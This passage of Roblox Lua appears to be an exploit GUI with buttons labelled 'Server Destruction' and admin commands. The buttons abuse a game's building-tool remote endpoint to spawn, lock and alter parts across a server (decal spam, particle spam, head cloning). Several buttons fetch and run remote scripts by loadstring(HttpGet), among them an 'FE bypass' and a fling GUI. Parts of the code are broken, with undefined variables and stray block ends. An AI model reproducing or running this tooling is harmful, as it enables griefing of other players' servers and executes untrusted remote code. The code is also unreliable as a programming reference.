AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("108478466163198")
end)
TextButton_18.Parent = ServerDestruction
TextButton_18.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_18.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_18.BorderSizePixel = 3
TextButton_18.Position = UDim2.new(0, 0, 0, 198)
TextButton_18.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_18.ZIndex = 2
TextButton_18.Font = Enum.Font.SourceSans
TextButton_18.Text = "Create Baseplate"
TextButton_18.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_18.TextSize = 14.000
TextButton_18.TextWrapped = true
TextButton_18.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x
== hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Material(v,Enum.Material.Grass)
Color(v,Color3.fromRGB(25,100,25))
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
TextButton_19.Parent = ServerDestruction
TextButton_19.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_19.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_19.BorderSizePixel = 3
TextButton_19.Position = UDim2.new(-0.0133333337, 3, 0.455431759, 66)
TextButton_19.Size = UDim2.new(0.513333321, -3, 0.00696378853, 30)
TextButton_19.ZIndex = 2
TextButton_19.Font = Enum.Font.SourceSans
TextButton_19.Text = "Particle Spam"
TextButton_19.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_19.TextSize = 14.000
TextButton_19.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddSparkles(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Sparkles"
}
}
}
_(args)
end
function SparklesParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddSparkles(v)
end)
end
end
SparklesParts()
end)
TextButton_20.Parent = ServerDestruction
TextButton_20.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_20.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_20.BorderSizePixel = 3
TextButton_20.Position = UDim2.new(0.519999981, 0, 0.0947075263, 198)
TextButton_20.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_20.ZIndex = 2
TextButton_20.Font = Enum.Font.SourceSans
TextButton_20.Text = "Clone Heads"
TextButton_20.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_20.TextSize = 16.000
TextButton_20.TextWrapped = true
TextButton_20.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function ClonePart(part)
local args = {
[1] = "Clone",
[2] = {
[1] = part
},
[3] = workspace
}
_(args)
end
function clonehead(player)
char = player.Character
ClonePart(char.Head)
end
end)
-- Instances:
game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Rc7",
})
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "wait...",
Text = "loading...",
})
wait(3)
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "loaded!",
})
local rc7 = Instance.new("ScreenGui")
local mini = Instance.new("ImageButton")
local passpage = Instance.new("ImageLabel")
local submit = Instance.new("TextButton")
local user = Instance.new("TextBox")
local pass = Instance.new("TextBox")
local close = Instance.new("TextButton")
local minimize = Instance.new("TextButton")
local mainpage = Instance.new("ImageLabel")
local input = Instance.new("TextBox")
local output = Instance.new("TextBox")
local exe = Instance.new("TextButton")
local clear = Instance.new("TextButton")
local open = Instance.new("TextButton")
local roxploit = Instance.new("TextButton")
local dex = Instance.new("TextButton")
local close_2 = Instance.new("TextButton")
local minimize_2 = Instance.new("TextButton")
--Properties:
rc7.Name = "rc7"
rc7.Parent = game.CoreGui
rc7.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
mini.Name = "mini"
mini.Parent = rc7
mini.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
mini.BackgroundTransparency = 1.000
mini.BorderColor3 = Color3.fromRGB(0, 0, 0)
mini.BorderSizePixel = 0
mini.Position = UDim2.new(0, 0, 0.894399107, 0)
mini.Size = UDim2.new(0, 58, 0, 60)
mini.Visible = false
mini.Image = "http://www.roblox.com/asset/?id=14416021390"
mini.MouseButton1Down:connect(function()
mainpage.Visible = true
mini.Visible = false
end)
passpage.Name = "passpage"
passpage.Parent = rc7
passpage.Active = true
passpage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
passpage.BorderColor3 = Color3.fromRGB(0, 0, 0)
passpage.BorderSizePixel = 0
passpage.Position = UDim2.new(0.171028033, 0, 0.178529739, 0)
passpage.Size = UDim2.new(0, 349, 0, 363)
passpage.Image = "rbxassetid://13695440070"
submit.Name = "submit"
submit.Parent = passpage
submit.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
submit.BackgroundTransparency = 1.000
submit.BorderColor3 = Color3.fromRGB(0, 0, 0)
submit.BorderSizePixel = 0
submit.Position = UDim2.new(0.343839556, 0, 0.561983466, 0)
submit.Size = UDim2.new(0, 101, 0, 20)
submit.Font = Enum.Font.SourceSans
submit.Text = ""
submit.TextColor3 = Color3.fromRGB(0, 0, 0)
submit.TextSize = 14.000
submit.MouseButton1Down:connect(function()
if pass.Text == "Rc7Cracked" then
passpage.Visible = false
mainpage.Visible = true
else
pass.Text = "Wrong Password!"
wait(2)
pass.Text = ""
end
end)
user.Name = "user"
user.Parent = passpage
user.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
user.BackgroundTransparency = 1.000
user.BorderColor3 = Color3.fromRGB(0, 0, 0)
user.BorderSizePixel = 0
user.Position = UDim2.new(0.260744989, 0, 0.393939406, 0)
user.Size = UDim2.new(0, 160, 0, 21)
user.Font = Enum.Font.SourceSans
user.Text = "username"
user.TextColor3 = Color3.fromRGB(20, 212, 255)
user.TextSize = 14.000
user.TextWrapped = true
pass.Name = "pass"
pass.Parent = passpage
pass.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
pass.BackgroundTransparency = 1.000
pass.BorderColor3 = Color3.fromRGB(0, 0, 0)
pass.BorderSizePixel = 0
pass.Position = UDim2.new(0.261000007, 0, 0.479999989, 0)
pass.Size = UDim2.new(0, 160, 0, 21)
pass.Font = Enum.Font.SourceSans
pass.Text = ""
pass.TextColor3 = Color3.fromRGB(20, 212, 255)
pass.TextSize = 14.000
pass.TextWrapped = true
close.Name = "close"
close.Parent = passpage
close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
close.BackgroundTransparency = 1.000
close.BorderColor3 = Color3.fromRGB(0, 0, 0)
close.BorderSizePixel = 0
close.Position = UDim2.new(0.88252151, 0, 0, 0)
close.Size = UDim2.new(0, 41, 0, 24)
close.Font = Enum.Font.SourceSans
close.Text = ""
close.TextColor3 = Color3.fromRGB(0, 0, 0)
close.TextSize = 14.000
close.MouseButton1Down:connect(function()
passpage.Visible = false
end)
minimize.Name = "minimize"
minimize.Parent = passpage
minimize.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
minimize.BackgroundTransparency = 1.000
minimize.BorderColor3 = Color3.fromRGB(0, 0, 0)
minimize.BorderSizePixel = 0
minimize.Position = UDim2.new(0.598853886, 0, 0, 0)
minimize.Size = UDim2.new(0, 41, 0, 24)
minimize.Font = Enum.Font.SourceSans
minimize.Text = ""
minimize.TextColor3 = Color3.fromRGB(0, 0, 0)
minimize.TextSize = 14.000
mainpage.Name = "mainpage"
mainpage.Parent = rc7
mainpage.Active = true
mainpage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
mainpage.BorderColor3 = Color3.fromRGB(0, 0, 0)
mainpage.BorderSizePixel = 0
mainpage.Position = UDim2.new(0.171028033, 0, 0.178529739, 0)
mainpage.Size = UDim2.new(0, 349, 0, 363)
mainpage.Visible = false
mainpage.Image = "http://www.roblox.com/asset/?id=128681323011046"
input:GetPropertyChangedSignal("Text"):Connect(updateCanvasSize)
input.Focused:Connect(updateCanvasSize)
input.FocusLost:Connect(updateCanvasSize)
exe.Name = "exe"
exe.Parent = mainpage
exe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
exe.BackgroundTransparency = 1
exe.BorderColor3 = Color3.fromRGB(0, 0, 0)
exe.BorderSizePixel = 0
exe.Position = UDim2.new(0.315186232, 0, 0.774104655, 0)
exe.Size = UDim2.new(0, 99, 0, 20)
exe.Font = Enum.Font.ArialBold
exe.Text = "Execute"
exe.TextColor3 = Color3.fromRGB(50, 110, 160)
exe.TextSize = 14.000
exe.TextTransparency = 1
output.Name = "output"
output.Parent = mainpage
output.Active = false
output.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
output.BorderColor3 = Color3.fromRGB(0, 0, 0)
output.BackgroundTransparency = 1
output.BorderSizePixel = 0
output.Position = UDim2.new(0.0343839526, 0, 0.845730007, 0)
output.Size = UDim2.new(0, 296, 0, 52)
output.Font = Enum.Font.Code
output.Text = ""
output.TextColor3 = Color3.fromRGB(0, 0, 0)
output.TextSize = 14.000
output.TextWrapped = true
output.TextXAlignment = Enum.TextXAlignment.Left
output.TextYAlignment = Enum.TextYAlignment.Top
exe.MouseButton1Down:connect(function()
output.Text = ""
if success then
output.Text = "Script successfully executed!"
output.TextColor3 = Color3.fromRGB(0, 0, 0)
wait(2)
output.Text = " "
else
output.Text = "Error: " .. result
output.TextColor3 = Color3.fromRGB(255, 0, 0)
warn("Error occurred during execution: " .. result)
wait(5)
output.Text = " "
end
end)
clear.Name = "clear"
clear.Parent = mainpage
clear.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
clear.BackgroundTransparency = 1
clear.BorderColor3 = Color3.fromRGB(0, 0, 0)
clear.BorderSizePixel = 0
clear.Position = UDim2.new(0.598853886, 0, 0.774104655, 0)
clear.Size = UDim2.new(0, 99, 0, 20)
clear.Font = Enum.Font.ArialBold
clear.Text = "Clear"
clear.TextColor3 = Color3.fromRGB(50, 110, 160)
clear.TextSize = 14.000
clear.TextTransparency = 1 -- Make the text transparent
clear.MouseButton1Down:connect(function()
input.Text = " "
end)
open.Name = "open"
open.Parent = mainpage
open.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
open.BackgroundTransparency = 1
open.BorderColor3 = Color3.fromRGB(0, 0, 0)
open.BorderSizePixel = 0
open.Position = UDim2.new(0.0343839526, 0, 0.774104655, 0)
open.Size = UDim2.new(0, 99, 0, 20)
open.Font = Enum.Font.ArialBold
open.Text = "Open"
open.TextColor3 = Color3.fromRGB(50, 110, 160)
open.TextSize = 14.000
open.TextTransparency = 1
open.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/ScriptHub"))()
end)
roxploit.Name = "roxploit"
roxploit.Parent = mainpage
roxploit.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
roxploit.BackgroundTransparency = 1.000
roxploit.BorderColor3 = Color3.fromRGB(0, 0, 0)
roxploit.BorderSizePixel = 0
roxploit.Position = UDim2.new(0.904999971, 0, 0.799000025, 0)
roxploit.Size = UDim2.new(0, 29, 0, 29)
roxploit.Font = Enum.Font.SourceSans
roxploit.Text = ""
roxploit.TextColor3 = Color3.fromRGB(0, 0, 0)
roxploit.TextSize = 14.000
roxploit.MouseButton1Down:connect(function()
Folder = game.Players.LocalPlayer.PlayerGui
script=Instance.new('LocalScript')
local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
local A,B,C,D,F,E,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
local
Aa,Ba,Ca,Da,Fa,Ea,Ga,Ha,Ia,Ja,Ka,La,Ma,Na,Oa,Pa,Qa,Ra,Sa,Ta,Ua,Va,Wa,Xa,Ya,Za
local IntroSFX = nil
local IntroDone,Toggle,taco = false
local Folders, Selected, Banned, WayPoint = nil
local CId = Instance.new("IntValue") CId.Value = 0
local LPCId = Instance.new("IntValue") LPCId.Value = 0
local SId = Instance.new("IntValue")
SId.Value = 0
local MId = Instance.new("IntValue")
MId.Value = 0
local MPId = Instance.new("IntValue")
MPId.Value = 0
local GId = Instance.new("IntValue")
GId.Value = 0
local GPId = Instance.new("IntValue")
GPId.Value = 0
local HId = Instance.new("IntValue")
HId.Value = 0
local HPId = Instance.new("IntValue")
HPId.Value = 0
local SDId = Instance.new("IntValue")
SDId.Value = 0
local WId = Instance.new("IntValue") WId.Value = 0 local WMId =
Instance.new("IntValue") WMId.Value = 0 local LCId = Instance.new("IntValue")
LCId.Value = 0 local TCId = Instance.new("IntValue") TCId.Value = 0 local MEId =
Instance.new("IntValue") MEId.Value = 1 local MEPId = Instance.new("IntValue")
MEPId.Value = 0 local SkyId = Instance.new("IntValue") SkyId.Value = 1 local SkypId
= Instance.new("IntValue") SkypId.Value = 0 local TabId = Instance.new("IntValue")
TabId.Value = 0
local EmptySP = UDim2.new(0,0,0,0)
local PrivateServer = false
dex.Name = "dex"
dex.Parent = mainpage
dex.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
dex.BackgroundTransparency = 1.000
dex.BorderColor3 = Color3.fromRGB(0, 0, 0)
dex.BorderSizePixel = 0
dex.Position = UDim2.new(0.904999971, 0, 0.910000026, 0)
dex.Size = UDim2.new(0, 29, 0, 29)
dex.Font = Enum.Font.SourceSans
dex.Text = ""
dex.TextColor3 = Color3.fromRGB(0, 0, 0)
dex.TextSize = 14.000
dex.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/Dex
%20Explorer.txt"))()
end)
close_2.Name = "close"
close_2.Parent = mainpage
close_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
close_2.BackgroundTransparency = 1.000
close_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
close_2.BorderSizePixel = 0
close_2.Position = UDim2.new(0.88252151, 0, 0, 0)
close_2.Size = UDim2.new(0, 41, 0, 24)
close_2.Font = Enum.Font.SourceSans
close_2.Text = ""
close_2.TextColor3 = Color3.fromRGB(0, 0, 0)
close_2.TextSize = 14.000
close_2.MouseButton1Down:connect(function()
mainpage.Visible = false
end)
minimize_2.Name = "minimize"
minimize_2.Parent = mainpage
minimize_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
minimize_2.BackgroundTransparency = 1.000
minimize_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
minimize_2.BorderSizePixel = 0
minimize_2.Position = UDim2.new(0.598853886, 0, 0, 0)
minimize_2.Size = UDim2.new(0, 41, 0, 24)
minimize_2.Font = Enum.Font.SourceSans
minimize_2.Text = ""
minimize_2.TextColor3 = Color3.fromRGB(0, 0, 0)
minimize_2.TextSize = 14.000
minimize_2.MouseButton1Down:connect(function()
mainpage.Visible = false
mini.Visible = true
end)
-- Scripts:
local dragging
local dragInput
local dragStart
local startPos
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End
then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end
coroutine.wrap(HXRD_fake_script)()
local function EERUFD_fake_script() -- mainpage.Dragify
local script = Instance.new('LocalScript', mainpage)
local dragging
local dragInput
local dragStart
local startPos
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End
then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end
coroutine.wrap(EERUFD_fake_script)()
end)
loadstring(game:HttpGet("https://raw.githubusercontent.com/Orangecatgamer696969/
Fling-gui/main/README.md", true)) ()
end)
Nilizer.Name = "Nilizer"
Nilizer.Parent = AdminCommandsGuis
Nilizer.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Nilizer.BorderColor3 = Color3.fromRGB(255, 0, 0)
Nilizer.BorderSizePixel = 3
Nilizer.Position = UDim2.new(0, 0, 0, 132)
Nilizer.Size = UDim2.new(0.5, 0, 0, 30)
Nilizer.ZIndex = 2
Nilizer.Font = Enum.Font.SourceSans
Nilizer.Text = "Prison Life FE Bypass"
Nilizer.TextColor3 = Color3.fromRGB(255, 255, 255)
Nilizer.TextSize = 14.000
Nilizer.TextWrapped = true
Nilizer.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/g00lXploiter/
g00lXploiter/main/Fe%20bypass", true))()
end)
Rek3k.Name = "Rek3k"
Rek3k.Parent = AdminCommandsGuis
Rek3k.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Rek3k.BorderColor3 = Color3.fromRGB(255, 0, 0)
Rek3k.BorderSizePixel = 3
Rek3k.Position = UDim2.new(0, 0, 0, 165)
Rek3k.Size = UDim2.new(0.499000013, 0, 0, 30)
Rek3k.ZIndex = 2
Rek3k.Font = Enum.Font.SourceSans
Rek3k.Text = "Project Ligma (win 11)"
Rek3k.TextColor3 = Color3.fromRGB(255, 255, 255)
Rek3k.TextSize = 14.000
Rek3k.TextWrapped = true
Rek3k.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/4nSE2JCe.lua", true))()
end)
PageLabel_4.Name = "PageLabel"
PageLabel_4.Parent = Page1_2
PageLabel_4.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_4.BorderSizePixel = 3
PageLabel_4.Position = UDim2.new(0, 0, 1, -29)
PageLabel_4.Size = UDim2.new(1, 0, 0, 29)
PageLabel_4.ZIndex = 2
PageLabel_4.Font = Enum.Font.SourceSans
PageLabel_4.Text = "Page 1"
PageLabel_4.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_4.TextSize = 18.000
PageLabel_4.TextWrapped = true
Page4.Name = "Page4"
Page4.Parent = Frame
Page4.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page4.BorderColor3 = Color3.fromRGB(255, 0, 0)
Page4.BorderSizePixel = 3
Page4.Position = UDim2.new(0, 0, 0, 83)
Page4.Size = UDim2.new(1, 0, 1, -106)
Page4.Visible = false
Page4.ZIndex = 2
Cat.Name = "Cat"
Cat.Parent = PresetSkyboxDecalIDs
Cat.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Cat.BorderColor3 = Color3.fromRGB(255, 0, 0)
Cat.BorderSizePixel = 3
Cat.Position = UDim2.new(0, 0, 0, 33)
Cat.Size = UDim2.new(0.5, 0, 0, 30)
Cat.ZIndex = 2
Cat.Font = Enum.Font.SourceSans
Cat.Text = "14anz/c00lkidd"
Cat.TextColor3 = Color3.fromRGB(255, 255, 255)
Cat.TextSize = 14.000
Cat.TextWrapped = true
Title_15.Name = "Title"
Title_15.Parent = PresetSkyboxDecalIDs
Title_15.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_15.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_15.BorderSizePixel = 3
Title_15.Size = UDim2.new(1, 0, 0, 30)
Title_15.ZIndex = 2
Title_15.Font = Enum.Font.SourceSansBold
Title_15.Text = "Preset Skybox/Decal IDs"
Title_15.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_15.TextSize = 14.000
Title_15.TextWrapped = true
RC7.Name = "RC7"
RC7.Parent = PresetSkyboxDecalIDs
RC7.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
RC7.BorderColor3 = Color3.fromRGB(255, 0, 0)
RC7.BorderSizePixel = 3
RC7.Position = UDim2.new(0, 0, 0, 66)
